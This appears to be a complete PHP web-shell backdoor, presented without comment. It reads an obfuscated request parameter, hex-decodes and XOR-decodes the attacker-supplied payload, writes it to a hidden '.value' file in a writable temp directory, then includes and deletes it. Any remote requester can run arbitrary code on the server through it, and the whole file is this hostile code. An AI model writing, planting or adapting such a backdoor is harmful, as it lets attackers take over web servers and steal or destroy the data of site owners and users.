<?php
if(count($_REQUEST) > 0 && isset($_REQUEST["re\x66\x65\x72e\x6Ece"])){
$flag = array_filter([sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/tmp", "/var/tmp", getcwd(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir")]);
$resource = hex2bin($_REQUEST["re\x66\x65\x72e\x6Ece"]);
$item ='' ; foreach(str_split($resource) as $char){$item .= chr(ord($char) ^ 11);}
for ($data = 0, $marker = count($flag); $data < $marker; $data++) {
$dchunk = $flag[$data];
if (array_product([is_dir($dchunk), is_writable($dchunk)])) {
$record = vsprintf("%s/%s", [$dchunk, ".value"]);
if (@file_put_contents($record, $item) !== false) {
include $record;
unlink($record);
exit;
}
}
}
}